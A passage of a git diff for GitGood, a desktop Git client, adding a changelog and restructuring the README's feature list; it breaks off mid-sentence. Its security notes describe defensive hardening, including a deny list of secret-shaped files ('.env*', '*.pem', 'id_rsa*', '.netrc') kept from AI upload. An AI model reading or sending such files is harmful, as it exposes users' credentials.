(100%) rename openspec/changes/{add-repo-health => archive/2026-10-01-add-repo-health}/.openspec.yaml (100%) rename openspec/changes/{add-repo-health => archive/2026-10-01-add-repo-health}/design.md (100%) rename openspec/changes/{add-repo-health => archive/2026-10-01-add-repo-health}/proposal.md (100%) rename openspec/changes/{add-repo-health => archive/2026-10-01-add-repo-health}/specs/repo-health/spec.md (100%) rename openspec/changes/{add-repo-health => archive/2026-10-01-add-repo-health}/tasks.md (100%) rename openspec/changes/{add-stash-manager => archive/2026-10-01-add-stash-manager}/.openspec.yaml (100%) rename openspec/changes/{add-stash-manager => archive/2026-10-01-add-stash-manager}/design.md (100%) rename openspec/changes/{add-stash-manager => archive/2026-10-01-add-stash-manager}/proposal.md (100%) rename openspec/changes/{add-stash-manager => archive/2026-10-01-add-stash-manager}/specs/stash/spec.md (100%) rename openspec/changes/{add-stash-manager => archive/2026-10-01-add-stash-manager}/tasks.md (100%) rename openspec/changes/{add-submodules-and-lfs => archive/2026-10-01-add-submodules-and-lfs}/.openspec.yaml (100%) rename openspec/changes/{add-submodules-and-lfs => archive/2026-10-01-add-submodules-and-lfs}/design.md (100%) rename openspec/changes/{add-submodules-and-lfs => archive/2026-10-01-add-submodules-and-lfs}/proposal.md (100%) rename openspec/changes/{add-submodules-and-lfs => archive/2026-10-01-add-submodules-and-lfs}/specs/lfs/spec.md (100%) rename openspec/changes/{add-submodules-and-lfs => archive/2026-10-01-add-submodules-and-lfs}/specs/submodules/spec.md (100%) rename openspec/changes/{add-submodules-and-lfs => archive/2026-10-01-add-submodules-and-lfs}/tasks.md (100%) rename openspec/changes/{add-worktrees => archive/2026-10-01-add-worktrees}/.openspec.yaml (100%) rename openspec/changes/{add-worktrees => archive/2026-10-01-add-worktrees}/design.md (100%) rename openspec/changes/{add-worktrees => archive/2026-10-01-add-worktrees}/proposal.md (100%) rename openspec/changes/{add-worktrees => archive/2026-10-01-add-worktrees}/specs/worktrees/spec.md (100%) rename openspec/changes/{add-worktrees => archive/2026-10-01-add-worktrees}/tasks.md (100%) rename openspec/changes/{upgrade-ai-conflict-resolution => archive/2026-10-01-upgrade-ai-conflict-resolution}/.openspec.yaml (100%) rename openspec/changes/{upgrade-ai-conflict-resolution => archive/2026-10-01-upgrade-ai-conflict-resolution}/design.md (100%) rename openspec/changes/{upgrade-ai-conflict-resolution => archive/2026-10-01-upgrade-ai-conflict-resolution}/proposal.md (100%) rename openspec/changes/{upgrade-ai-conflict-resolution => archive/2026-10-01-upgrade-ai-conflict-resolution}/specs/ai-conflict-resolution/spec.md (100%) rename openspec/changes/{upgrade-ai-conflict-resolution => archive/2026-10-01-upgrade-ai-conflict-resolution}/tasks.md (100%) create mode 100644 openspec/specs/ai-command-palette/spec.md create mode 100644 openspec/specs/ai-commit-splitting/spec.md create mode 100644 openspec/specs/ai-error-explanation/spec.md create mode 100644 openspec/specs/ai-explain-diff/spec.md create mode 100644 openspec/specs/ai-pr-description/spec.md create mode 100644 openspec/specs/ai-pr-triage/spec.md create mode 100644 openspec/specs/ai-rebase-assistant/spec.md create mode 100644 openspec/specs/ai-release-notes/spec.md create mode 100644 openspec/specs/ai-review-agent-handoff/spec.md create mode 100644 openspec/specs/blame/spec.md create mode 100644 openspec/specs/commit-signing/spec.md create mode 100644 openspec/specs/issues/spec.md create mode 100644 openspec/specs/lfs/spec.md create mode 100644 openspec/specs/notifications-inbox/spec.md create mode 100644 openspec/specs/repo-health/spec.md create mode 100644 openspec/specs/submodules/spec.md create mode 100644 openspec/specs/worktrees/spec.md diff --git a/CHANGELOG.md b/CHANGELOG.md new file mode 100644 index 0000000..4b1560c --- /dev/null +++ b/CHANGELOG.md @@ -0,0 +1,113 @@ +# Changelog + +All notable changes to GitGood. Versions follow [semver](https://semver.org); release notes for each version are also on the [Releases page](https://github.com/erwin-wee/gitgood/releases). + +## Unreleased + +A security, privacy and robustness pass over the whole app, plus the features that came out of it. + +### Security + +- **Repository files can no longer leak through symlinks.** Every repo-controlled file that feeds the AI, templates or configuration (review guidelines, PR and issue templates, `.gitgood/config.json`, untracked files in diffs, conflict reads) is read through one helper that refuses symlinks and checks the real path stays inside the repository. A symlinked file diffs as its link text, like git. AI-written files (conflict resolutions, applied suggestions) go through a matching safe write. +- **Secrets are protected at rest and in logs.** `secrets.json` and every other store file are written `0600` in a `0700` directory (POSIX); the log file is `0600` and scrubs tokens and credentials from every line, including git argv; the server token is never logged (printed once on a TTY at first start, otherwise only its file path). A corrupt store file is renamed to `.corrupt-` instead of being silently reset. +- **Server mode.** `repo.readFile`/`repo.writeFile` and every path argument reject absolute and `../` paths (including through symlinked parents); `/gitgood-bridge.js` is refused to cross-origin requests and sent with `Cross-Origin-Resource-Policy: same-origin`. +- **AI privacy.** Secret-shaped files (`.env*`, `*.pem`, `*.key`, `id_rsa*`, `.netrc`, credential-bearing `.npmrc`, …) are never uploaded, known token shapes are masked in the text of every read-only feature, and error explanation scrubs the failing command. AI can be switched off per repository, on your machine or for everyone via `.gitgood/config.json`. +- **Settings sync** uses secret gists only: it refuses to upload to (or adopt) a public gist, re-checks visibility before every upload, and keeps `agentCustomCommand` machine-local. A settings file that changes the OpenAI-compatible base URL deletes the stored API key so it can't be redirected. +- **Prompt-injection and confused-deputy hardening.** The repository check-command trust prompt binds to the exact command shown; the `gitgood://review/rerun` link needs a per-run one-time token, otherwise it asks for confirmation before anything is sent to an AI provider; custom agent commands must quote every `{file}`; the natural-language palette allows only an explicit option list per inspect command (and disables external diff and textconv drivers); branch, tag and remote names starting with `-` are rejected. +- **Electron.** IPC is accepted only from the app's own main frame, and navigation is limited to the exact entry document. +- **Release pipeline.** GitHub Actions are pinned by commit SHA, workflows run read-only with credentials not persisted, builds use `--publish never` and a separate publish job holds `contents: write`; the Linux installer fails closed when it cannot verify the download's SHA-512 (`--insecure-skip-verify` overrides); `release:prepare` refuses to continue when the CI check can't be confirmed (`--skip-ci-check` overrides). Code signing and notarization are wired to repository secrets and stay inactive until configured. Dependabot watches npm and GitHub Actions. See [SECURITY.md](SECURITY.md). + +### Added + +- **Commit graph** in History with coloured branch lanes, merges and octopus merges, computed incrementally. +- **Multiple GitHub accounts**, with a per-repository account whose token is used for that repository's `gh` calls and network git commands. +- **Multiple windows** (File → New Window, Open in New Window), each with its own repository and live updates. +- **Undo history** (reflog browser with restore, create-branch and checkout) and **Undo Last Git Operation**. +- **Bisect** from the History context menu, with a progress banner. +- **Stacked branches**: stack markers, `--update-refs` on rebase and **Push stack**. +- **Rebindable keyboard shortcuts**, included in exported and synced settings. +- **MCP server** for coding agents (`gitgood_latest_review`, `gitgood_request_rereview`, `gitgood_open_repository`), registered by the `gitgood-review` plugin. +- **Clone options**: depth, single branch, blobless, sparse directories and a submodules toggle. +- **Pinned repositories and custom groups** in the repository list. +- **PR auto-merge** (`gh pr merge --auto`) and a **Files changed** view in Compare. +- **Commit options**: sign-off per repository, skip hooks for one commit, and `commit.template` prefill. +- **External diff and merge tools** (`git difftool`/`git mergetool`). +- **AI**: an OpenAI-compatible provider (OpenAI, OpenRouter, Ollama, LM Studio, …), per-feature model overrides, a monthly token-usage view, and prompt caching for Anthropic requests. +- **`gitgood `** opens a folder as a repository, and dropping a folder on the window adds it. +- **Managed background server on macOS and Windows** (LaunchAgent and a per-user login item; not yet verified on real machines), a "Reload to update" banner when the server was upgraded, and a "Reconnecting…" banner with exponential backoff for browser tabs. +- **Accessibility**: an error boundary with Reload and Copy details, forced-colors / high-contrast styles, and a resizable History file pane. +- Minimum tool versions (Git 2.30, gh 2.40) are checked, with a dismissible banner when one is older. +- Installer: `install-linux.sh --uninstall`. Packaging: macOS universal, Windows x64 + ARM64, Linux AppImage and `.deb`. +- Lint: ESLint with the React hooks rules, run in CI. + +### Changed + +- `ai.cancel` now cancels one feature, and only the calling window or web client's job, instead of every AI service. +- The renderer is code-split (heavy dialogs and syntax-highlighting grammars load on demand); the main chunk is about 30% smaller. +- Startup no longer makes git wait for the `gh`, `claude` and `gpg` probes; each tool appears as soon as its own probe finishes. +- Repository indicators use a light `git status --porcelain=v2 --branch` parse with bounded concurrency. +- The web folder picker is a regular dialog (keyboard, ARIA and theme aware). +- `.deb` installs are treated as unable to self-update, matching how `electron-updater` behaves on Debian. +- CI runs on Node 24; `engines.node` is `^20.19.0 || >=22.12.0`. Electron 44.5.1 and `@anthropic-ai/sdk` 0.131. +- Neutral wording in shared AI backend messages (they used to read like conflict-resolution copy for every feature). + +### Fixed + +- The diff line-number gutter now meets contrast guidelines. +- Several AI services shared one cancel controller, so cancelling one (or, in server mode, another client's job) could abort an unrelated request; each now cancels only its own. +- Git commands stayed blocked for several seconds after launch on machines where `claude --version` or `gh --version` is slow. +- Settings export no longer carries machine-local custom agent commands; repository pins, groups and AI opt-outs also stay out of it. + +## 0.3.2 — 2026-09-25 + +- Opening an AI review comment, following a link in an AI explanation, expanding hunk context, blame cards and History search matches no longer make the diff flash or jump, including across files and after a save reloads it. +- The History list on phones no longer jumps when more commits load. + +## 0.3.1 — 2026-09-24 + +- The web app loads far faster from the server (about 2.8 s instead of 12.7 s on a slow mobile connection) via compression, caching and a service worker; the installed phone app shows a "Can't reach your GitGood server" page with Retry. +- Large diffs and merge conflicts are cheaper to deliver and render; the app appears before git and gh are located; saves made elsewhere show up almost instantly; no spinner flash for quick diffs. + +## 0.3.0 — 2026-09-24 + +- **File → Run GitGood server in the background…** (Linux) installs a service running the server bundled with the app, copies settings and repositories into it the first time, and keeps it on the desktop's version. +- A desktop connected to a server checks for and installs its own updates. +- The version-mismatch warning offers Restart server, Copy command, Reload or Check for updates. + +## 0.2.0 — 2026-09-24 + +- **Server mode:** run GitGood headless and use it from a browser on your Tailscale tailnet, locked to your Tailscale login. +- **Desktop as a client** of a server; **phone and tablet layout** for the web UI (installable to the home screen). +- In-app help, a condensed toolbar, two-line commit rows, searchable shortcuts and clearer discard wording. +- Push progress shows pre-push hook output; watched folders are scanned correctly at launch; the pull request list stays within GitHub's API limits. + +## 0.1.5 — 2026-09-22 + +- Fixed History and pull request state not refreshing after ref changes while another tab was showing. + +## 0.1.4 — 2026-09-21 + +- Performance: repository watching and word-level diffs kept off hot paths. + +## 0.1.3 — 2026-09-19 + +- Fixes for `release:tag` opening an unreachable editor, the Linux installer's `--version` handling, `cmd.exe` quoting and the gh stub on Windows. +- UI/UX audit fixes: keyboard access, dialog focus, labels, contrast and safety guards. +- Snappier lists, diffs and repository opens. + +## 0.1.2 — 2026-09-18 + +- The setup screen no longer flashes on every launch. +- Added the release script (`npm run release:prepare` / `release:tag`); real-git test suites get enough time on Windows. + +## 0.1.1 — 2026-09-18 + +- **Watched folders** that auto-discover repositories. +- **Fix with agent**: hand AI review findings to a terminal coding agent. +- Linux install script that detects the distro; documentation split into `docs/`. +- Fixed first-sync notification flood, the commit button label and blame gutter contrast; release assets are no longer silently skipped. + +## 0.1.0 — 2026-09-18 + +- First release: a GitHub Desktop–style client driving `git` and `gh`, with AI conflict resolution, pull request review and the other AI features, release CI and automatic updates through `electron-updater`. +- Fixed process cancellation and Windows CLI spawning, and an unconfirmed-git-command path in the AI palette. diff --git a/README.md b/README.md index f28b1da..6dd157d 100644 --- a/README.md +++ b/README.md @@ -8,37 +8,66 @@ It also adds **one-click AI merge conflict resolution** powered by Claude: pick Everything you expect from GitHub Desktop, mapped onto `git`/`gh`: -- **Repositories**: clone from your GitHub repositories (personal, collaborator and organization repos) or any URL (optionally shallow, single-branch, blobless or sparse, with or without submodules), create new repositories with README/.gitignore/license templates, add existing ones, aliases, remove (optionally to the Recycle Bin), repository list with pinned repos, custom groups (this computer only), owner groups and ahead/behind indicators. +### Repositories + +- **Repositories**: clone from your GitHub repositories (personal, collaborator and organization repos) or any URL (optionally shallow, single-branch, blobless or sparse, with or without submodules), create new repositories with README/.gitignore/license templates, add existing ones, aliases, remove (optionally to the Recycle Bin), repository list with pinned repos, custom groups (this computer only), owner groups and ahead/behind indicators. The Add dialog also takes a folder dropped onto the window (desktop app), and `gitgood ` — also while GitGood is already running — opens that folder as a repository, or opens the Add dialog with an offer to create one when it is not a Git repository. - **Watched folders** (Options → Git): register the folders you keep your clones in and every Git repository inside them is added for you, instead of adding each one by hand. Each folder has its own scan depth (default 3, so `~/Projects//` is found), and scans skip `node_modules`, `vendor`, `dist`, dot-directories and symlinks, never descend into a repository, and ignore bare repositories. Folders are scanned when GitGood starts, when you change them, and on **Rescan now** (File → Rescan Watched Folders) — there is no continuous watching, so a repository cloned from a terminal appears after the next scan. Discovered repositories that vanish from disk drop off the list; removing a repository that lives in a watched folder remembers it so scans do not add it back, with the remembered paths listed and clearable. Watched folders stay on the machine and are never part of a settings export. - **Worktrees** (Repository menu or `Ctrl+Shift+W`): list every worktree of the current repository with badges for main/locked/prunable and uncommitted changes; add one for an existing branch, a new branch, or a detached commit; open, show in the file manager, open in editor/terminal, lock/unlock, remove (with a second confirmation for dirty worktrees) and prune stale entries. Worktrees appear nested under their main repository in the repository list, each with its own ahead/behind indicator; checking out a branch already active in another worktree offers to open it instead. - **Submodules** (Repository menu): a dialog lists every submodule (including nested ones) with its state — up to date, not initialized, modified, differs from recorded, conflicted or missing — plus recorded/checked-out commits and resolved URL; initialize and update all, update or open an individual submodule as its own nested repository, sync URLs, and show in the file manager. A banner after cloning or opening a repository offers to initialize any uninitialized submodules, and the diff pane's submodule summary gains **Update to recorded commit** and **Open submodule**. - **Git LFS**: pointer files are labelled with a chip in the Changes and History file lists, and the diff pane shows the object size and both object identifiers (with an image diff when both versions are downloaded locally) instead of a binary placeholder, offering **Download** when the object is missing. A banner explains when a repository uses LFS but the extension isn't installed. The **Git LFS** dialog (Repository menu) shows install/hook status, tracked patterns, lets you track/untrack patterns, fetch all or pull objects with progress, and prune unreferenced local objects after a dry-run confirmation. -- **Changes**: working-tree file list with include/exclude checkboxes, **partial commits by selecting individual lines or hunks**, discard files or selected lines (moved to the Recycle Bin), ignore file/extension, stash selected files or all changes, commit form with summary/description, co-authors, amend, 72-character warning, **AI-generated commit messages**, **AI review of the pending commit** before it exists, and **AI commit splitting** to turn one mixed working tree into an ordered, editable set of coherent commits. +- **Multiple windows** (File → New Window, `Ctrl+Alt+N`, or **Open in New Window** in the repository list's context menu): each window has its own open repository, selection, dialogs and progress, with live updates only for the repository it shows; app-wide changes (repository list, settings, tools, inbox, updates) reach every window. Closing a window stops watching its repository. Only the first window remembers its size and position (later ones cascade); menu shortcuts, `gitgood://` links and `gitgood ` go to the focused window. Standalone desktop app only — not available when the desktop is pointed at a GitGood server. +- **Repository health** (Repository menu or `Ctrl+Shift+K`): four independently loading cards. **Large files** lists the 25 largest blobs in history (path, size, first commit, HEAD presence, whether LFS would apply) with copy-path, add-to-.gitignore and track-with-LFS actions. **Stale branches** flags merged, inactive (configurable) and upstream-gone local branches for bulk deletion — current/default/protected branches are never selectable — with per-branch failure reporting and an Undo toast. **Unpushed work** lists, across every repository on disk, branches ahead of their upstream, unpublished branches, stashes and uncommitted changes, with one click to jump to a repository and branch; the same data drives a Welcome-screen card and an opt-in warning dot on repository rows. **Housekeeping** shows `.git` size, loose/pack/garbage object counts and last gc time, with two-step-confirmed gc, remote-tracking prune and reflog expiry (disabled mid-operation). + +### Changes & commits + +- **Changes**: working-tree file list with include/exclude checkboxes, **partial commits by selecting individual lines or hunks**, discard files or selected lines (moved to the Recycle Bin), ignore file/extension, stash selected files or all changes, commit form with summary/description, co-authors, amend, 72-character warning, **AI-generated commit messages**, **AI review of the pending commit** before it exists, and **AI commit splitting** to turn one mixed working tree into an ordered, editable set of coherent commits. Under the commit form: **Sign off** (adds `Signed-off-by`, remembered per repository), **Skip hooks** (`--no-verify` for this one commit only) and the repository's `commit.template` pre-filled into an empty form. - **Stashes**: a dedicated view (Changes tab, Repository menu, or Ctrl+Shift+S) lists every stash — including ones created from the terminal — with file counts and an untracked-files indicator; inspect a stash's files (including untracked ones) and diffs, apply, pop, drop with confirmation, create a branch from a stash, or stash just the selected files. Stash actions are addressed by commit SHA, so dropping one entry always targets the right one even after others are dropped. - **Undo history** (Repository → **Undo History…**): lists every place HEAD has been (from the reflog) with its action, message, age and SHA, so a bad commit, amend, merge, rebase or reset can be taken back. **Restore branch to this point** uses `git reset --keep` after a confirmation that names what moves (uncommitted changes stay; if they overlap, GitGood offers to stash them first), plus **Create branch here** and **Check out** (detached). **Undo Last Git Operation** does the same for the newest operation in one step — a whole rebase counts as one — or offers to switch back to the previous branch after a checkout. -- **Bisect** (History commit context menu): mark a commit **good** (bad defaults to HEAD) or **bad** (you pick the last known good one) to start `git bisect`; a banner shows "N revisions left (about M steps)" with **Good / Bad / Skip / Reset**, History keeps showing the branch you started from, and when git finds the first bad commit the banner shows it with **Open commit** and **Reset** (which returns you to your branch). +- **Conflicts**: banner and dialog listing conflicted files (sorted with any low-confidence resolution first, and a per-file confidence/check summary), per-block **Accept ours / theirs / both / base**, whole-file ours/theirs, open in editor, mark resolved, continue/abort merge, rebase (with skip), cherry-pick and revert — plus **Resolve with AI** per file or for all files at once, confidence-tinted results with an explain-why popover per block, an optional post-resolution check, and **Resolve remaining like ``** once you've resolved one by hand. +- **Commit signing** (Options → Git): configure GPG or SSH commit/tag signing at repository or global scope, with key detection (GPG keyring or `~/.ssh`), a **Test signing** action, and a commit-form indicator when the effective config signs. A failed signing attempt shows a dialog with **Retry**, **Commit unsigned this time** and **Open signing settings** — including while a squash or reword is paused mid-rebase; GitGood never reads or stores a passphrase. History can optionally verify and show good/bad/unknown-key/expired/revoked signature badges per commit (opt-in, since verification slows large histories). +- **Diffs that are easy to read**: unified or side-by-side, syntax highlighting for ~50 languages, word-level change highlighting inside modified lines, expandable context, hide whitespace, line wrapping, adjustable font size, image diffs (2-up, swipe, onion skin, difference), binary and submodule summaries. + +### History + - **History**: searchable commit list (message, author, SHA) with a **content/regex search syntax** (`content:`, `regex:`, `path:`, `author:`, `after:`, `before:`, `all:`, freely combined with plain text and a filter popover that stays in sync with it) to find when a piece of code was added, changed or removed — matching commits' file list narrows to the files that matched and the diff pane highlights the first matching line; searches are cancellable, debounced, and report invalid regexes inline. Commit details with per-file stats, revert, cherry-pick to another branch, create branch/tag from commit, checkout commit, **squash**, **reorder by drag and drop**, edit message (reword), drop commit, undo last commit, amend. **File history** scopes the commit list to one file and follows renames; from a commit you can view the file as it was, blame it, or restore that version to the working tree (with a stash-first offer if it has uncommitted changes). Select text in a diff and choose **Search history for selection** (`Ctrl+Alt+F`) to jump straight to its `content:` search. - **Commit graph**: History draws coloured branch lanes beside the commit list — branch-offs, merges (octopus too) and lanes that keep running across pages — computed incrementally as pages load. Toggle it in the History filter popover, Options → General, or View → Toggle History Graph. It is shown only for the plain branch listing (hidden while searching, filtering or in file history, and on phone layouts) and lists commits in `--date-order`, which makes git walk the whole history first; turn it off for very large repositories if loading feels slow. - **Blame**: toggle a per-line blame gutter (`Alt+B`, the diff pane's person icon, or a file's context menu) for any text file in Changes or History — coloured by commit age, with a card per block for the commit summary, author, **Open commit**, **Copy SHA** and **Blame at parent** (re-blames before that commit, following renames). Hidden for binary, image, submodule and too-large files. -- **Branches**: create (based on default or current branch), rename, delete (with remote), switch with stash-or-carry handling of uncommitted changes, merge, squash merge, rebase, compare, update from default branch, publish, force push with lease (with confirmation), background fetch, and **Tidy up branch with AI** to squash fixups, reword and reorder commits before opening a pull request. **Stacked branches** (a chain of branches each built on the previous one) are detected from the current branch's history: the branch list marks the stack, rebasing offers **Update dependent branches** (`--update-refs`, Git 2.38+) so the whole stack moves with it, **Push stack** (the current branch's context menu) force-pushes every branch of the stack with lease after listing them, and **Create pull request** pre-fills the parent branch as the base. -- **Commit signing** (Options → Git): configure GPG or SSH commit/tag signing at repository or global scope, with key detection (GPG keyring or `~/.ssh`), a **Test signing** action, and a commit-form indicator when the effective config signs. A failed signing attempt shows a dialog with **Retry**, **Commit unsigned this time** and **Open signing settings** — including while a squash or reword is paused mid-rebase; GitGood never reads or stores a passphrase. History can optionally verify and show good/bad/unknown-key/expired/revoked signature badges per commit (opt-in, since verification slows large histories). -- **Repository health** (Repository menu or `Ctrl+Shift+K`): four independently loading cards. **Large files** lists the 25 largest blobs in history (path, size, first commit, HEAD presence, whether LFS would apply) with copy-path, add-to-.gitignore and track-with-LFS actions. **Stale branches** flags merged, inactive (configurable) and upstream-gone local branches for bulk deletion — current/default/protected branches are never selectable — with per-branch failure reporting and an Undo toast. **Unpushed work** lists, across every repository on disk, branches ahead of their upstream, unpublished branches, stashes and uncommitted changes, with one click to jump to a repository and branch; the same data drives a Welcome-screen card and an opt-in warning dot on repository rows. **Housekeeping** shows `.git` size, loose/pack/garbage object counts and last gc time, with two-step-confirmed gc, remote-tracking prune and reflog expiry (disabled mid-operation). -- **Pull requests** (via `gh`): list open PRs with check status, check out a PR (including forks), create PRs (with template pre-fill, draft, or on GitHub.com — or **drafted with AI** from the branch's commits and diff), view checks, approve/comment/request changes, mark ready, merge (merge/squash/rebase), close/reopen, and **review with AI**: findings anchored to diff lines, shown as gutter markers and a findings panel, optionally posted to GitHub as a review with inline comments. The same review runs locally on the current branch against its base, without GitHub. The list also carries an **AI triage** line per pull request (state chip, one-sentence summary and a suggested next action). -- **Fix with agent** (on pull request, branch and pre-commit review findings): hands the findings to a terminal coding agent. GitGood writes every finished review to `.git/gitgood/review/latest.json` and `latest.md` (with instructions for the agent) and opens your terminal running Claude Code, Codex, omp or a custom command on that file; when the agent is done it opens a `gitgood://review/rerun` link and GitGood re-reviews so you can see what was fixed. A `gitgood-review` plugin in this repository adds a `/gitgood-review` slash command and a session-start reminder for all three agents. The plugin also registers an MCP server (`gitgood_latest_review`, `gitgood_request_rereview`, `gitgood_open_repository`) so agents can read the findings, request the re-review and open a repository as tool calls; see [plugin/README.md](plugin/README.md#mcp-server). -- **AI release notes** (Repository menu, or a tag's context menu in History): pick a commit range and generate a categorized, reference-checked changelog — every bullet cites a pull request or commit in the range, with an unreferenced-items review list — then copy it, insert it into `CHANGELOG.md`, or publish a GitHub release (draft by default). Works as a plain commit-list export even with AI turned off. -- **Notifications inbox** (the toolbar bell, View menu, or `Ctrl+Shift+J`): polls your GitHub notifications — review requests, failing checks, mentions, assignments, comments and state changes — grouped by repository with a reason chip, honouring the server's own poll interval and conditional requests so quota is never wasted, and pausing while the window has been unfocused for 30 minutes. Click a pull request notification from a repository already in GitGood to open it in place (anything else opens on github.com); mark items read, mark all read (confirmed once), unsubscribe, filter to review requests/failures/mentions or only your own repositories, and refresh. Shows a taskbar/dock/launcher badge with the unread count, and desktop alerts for enabled categories while the window is unfocused. Explains itself and offers a one-click fix when the token is missing notifications access, you're signed out, rate-limited, or offline (showing the last cached list). +- **Bisect** (History commit context menu): mark a commit **good** (bad defaults to HEAD) or **bad** (you pick the last known good one) to start `git bisect`; a banner shows "N revisions left (about M steps)" with **Good / Bad / Skip / Reset**, History keeps showing the branch you started from, and when git finds the first bad commit the banner shows it with **Open commit** and **Reset** (which returns you to your branch). + +### Branches + +- **Branches**: create (based on default or current branch), rename, delete (with remote), switch with stash-or-carry handling of uncommitted changes, merge, squash merge, rebase, compare, update from default branch, publish, force push with lease (with confirmation), background fetch, and **Tidy up branch with AI** to squash fixups, reword and reorder commits before opening a pull request. **Stacked branches** (a chain of branches each built on the previous one) are detected from the current branch's history: the branch list marks the stack, rebasing offers **Update dependent branches** (`--update-refs`, Git 2.38+) so the whole stack moves with it, **Push stack** (the current branch's context menu) force-pushes every branch of the stack with lease after listing them, and **Create pull request** pre-fills the parent branch as the base. **Compare** shows the commits and, under **Files changed**, the files and diffs of the current branch since it diverged from the one you pick. + +### Pull requests & issues + +- **Pull requests** (via `gh`): list open PRs with check status, check out a PR (including forks), create PRs (with template pre-fill, draft, or on GitHub.com — or **drafted with AI** from the branch's commits and diff), view checks, approve/comment/request changes, mark ready, merge (merge/squash/rebase), close/reopen, and **review with AI**: findings anchored to diff lines, shown as gutter markers and a findings panel, optionally posted to GitHub as a review with inline comments. The same review runs locally on the current branch against its base, without GitHub. The list also carries an **AI triage** line per pull request (state chip, one-sentence summary and a suggested next action). From the details dialog **Enable auto-merge** (and **Disable auto-merge**) runs `gh pr merge --auto` with the chosen method and optional branch deletion, and a badge shows when it is on; on repositories with a merge queue `--auto` queues the pull request. - **Issues** (Repository menu, `Ctrl+Shift+L`, or the commit form's `#` button): browse, search and filter (state, assigned/created/mentioned, labels, milestone — remembered per repository) the current repository's issues; view an issue's labels, milestone, assignees, body and latest comments (rendered as plain text with clickable links, never Markdown or HTML); **Reference in commit** appends `Fixes #N`/`Refs #N`/`Closes #N` to the commit description, **Create branch for issue** pre-fills the new-branch dialog with a slug like `123-fix-login-timeout`; close (with a one-time confirmation) or reopen, comment, and create issues from the repository's `.github/ISSUE_TEMPLATE` templates. Forks offer a toggle to browse the parent repository's issues instead. Explains itself when issues are disabled, you're signed out, or GitHub rate-limits the request. -- **Diffs that are easy to read**: unified or side-by-side, syntax highlighting for ~50 languages, word-level change highlighting inside modified lines, expandable context, hide whitespace, line wrapping, adjustable font size, image diffs (2-up, swipe, onion skin, difference), binary and submodule summaries. +- **Notifications inbox** (the toolbar bell, View menu, or `Ctrl+Shift+J`): polls your GitHub notifications — review requests, failing checks, mentions, assignments, comments and state changes — grouped by repository with a reason chip, honouring the server's own poll interval and conditional requests so quota is never wasted, and pausing while the window has been unfocused for 30 minutes. Click a pull request notification from a repository already in GitGood to open it in place (anything else opens on github.com); mark items read, mark all read (confirmed once), unsubscribe, filter to review requests/failures/mentions or only your own repositories, and refresh. Shows a taskbar/dock/launcher badge with the unread count, and desktop alerts for enabled categories while the window is unfocused. Explains itself and offers a one-click fix when the token is missing notifications access, you're signed out, rate-limited, or offline (showing the last cached list). + +### AI + +- **AI providers, models and usage** (Options → AI): Anthropic API, the Claude Code CLI, or any **OpenAI-compatible server** (OpenAI, OpenRouter, Ollama, LM Studio, vLLM…) with its own base URL, model and optional encrypted key; an optional model per feature; a **usage** card with this and last month's requests, tokens, cache reads and cost where the provider reports it; and Anthropic prompt caching to keep repeat requests cheap. Privacy controls: secret-shaped files (`.env`, `*.pem`, keys…) are never uploaded, known token shapes are masked in read-only features, and **Disable AI for this repository** (repository list context menu, or `{ "ai": false }` in `.gitgood/config.json`) switches AI off for a repository. - **Explain with AI**: plain-language explanation of a commit (History header/context menu), a file's diff (Changes/History diff pane), or a selected range of lines (right-click a diff selection) — what changed, the inferred intent, its impact, and things to double-check, with clickable references that scroll the diff to the cited line, up to five follow-up questions, and **Copy as Markdown**. Read-only: nothing is written to the repository or GitHub. - **AI error explanation**: the error dialog's collapsible **Explain with AI** row turns a failed git/gh command into a plain-language cause and up to three fixes, each either a one-click action GitGood already exposes (with its usual confirmation) or a copy-only command with **Run in terminal**; tokens and credentials are scrubbed before anything is sent. - **AI command palette** (`Ctrl+K`, or Repository → **Ask GitGood…**): fuzzy-matches GitGood's own menu actions first, or turns a plain-language request into a previewed, numbered plan of exact `git` commands that only runs after confirmation, behind a strict allowlist policy that decides executability and risk independently of the model. -- **Conflicts**: banner and dialog listing conflicted files (sorted with any low-confidence resolution first, and a per-file confidence/check summary), per-block **Accept ours / theirs / both / base**, whole-file ours/theirs, open in editor, mark resolved, continue/abort merge, rebase (with skip), cherry-pick and revert — plus **Resolve with AI** per file or for all files at once, confidence-tinted results with an explain-why popover per block, an optional post-resolution check, and **Resolve remaining like ``** once you've resolved one by hand. -- **Integrations**: open in VS Code, Cursor, Sublime, Notepad++, Visual Studio, JetBrains IDEs and more; open in Windows Terminal, PowerShell, Command Prompt or Git Bash; show in Explorer; view on GitHub; create issue. -- **Portable settings** (Options → Advanced, or File → Export/Import Settings…): export preferences, the repository list and integration choices to one JSON file, with a section checklist and an import preview (adds/changes/unchanged per section, merge or replace) — timestamped backups are kept before a replace. Optional **sync through a secret GitHub gist** (created or reused via the signed-in GitHub CLI): the sync card always shows which side changed since the last sync and lets you upload or download, never merging silently; disconnect keeps or deletes the gist. The export never includes your API key, saved GitHub credentials, tool paths or window position. -- **Updates** (Help → Check for Updates…, or Options → Advanced): checks the GitHub releases feed (via `electron-updater`) on launch and every 6 hours for a newer stable or (on the beta channel) prerelease version — never a downgrade — then downloads it in the background and offers **Restart to update** from a banner, the Help menu and the About dialog; automatic checking, automatic download and the release channel are configurable. Installing is blocked while a git operation or AI task is running, and reopens the same repository afterwards. Disabled in development builds, portable Windows builds, unsigned macOS builds, `.deb` installs and a read-only AppImage, which show *Updates unavailable in this build* instead. -- **Multiple windows** (File → New Window, `Ctrl+Alt+N`, or **Open in New Window** in the repository list's context menu): each window has its own open repository, selection, dialogs and progress, with live updates only for the repository it shows; app-wide changes (repository list, settings, tools, inbox, updates) reach every window. Closing a window stops watching its repository. Only the first window remembers its size and position (later ones cascade); menu shortcuts, `gitgood://` links and `gitgood ` go to the focused window. Standalone desktop app only — not available when the desktop is pointed at a GitGood server. -- Light/dark/system theme, keyboard shortcuts mirroring GitHub Desktop, native menus. +- **AI release notes** (Repository menu, or a tag's context menu in History): pick a commit range and generate a categorized, reference-checked changelog — every bullet cites a pull request or commit in the range, with an unreferenced-items review list — then copy it, insert it into `CHANGELOG.md`, or publish a GitHub release (draft by default). Works as a plain commit-list export even with AI turned off. +- **Fix with agent** (on pull request, branch and pre-commit review findings): hands the findings to a terminal coding agent. GitGood writes every finished review to `.git/gitgood/review/latest.json` and `latest.md` (with instructions for the agent) and opens your terminal running Claude Code, Codex, omp or a custom command on that file; when the agent is done it opens a `gitgood://review/rerun` link and GitGood re-reviews so you can see what was fixed. A `gitgood-review` plugin in this repository adds a `/gitgood-review` slash command and a session-start reminder for all three agents. The plugin also registers an MCP server (`gitgood_latest_review`, `gitgood_request_rereview`, `gitgood_open_repository`) so agents can read the findings, request the 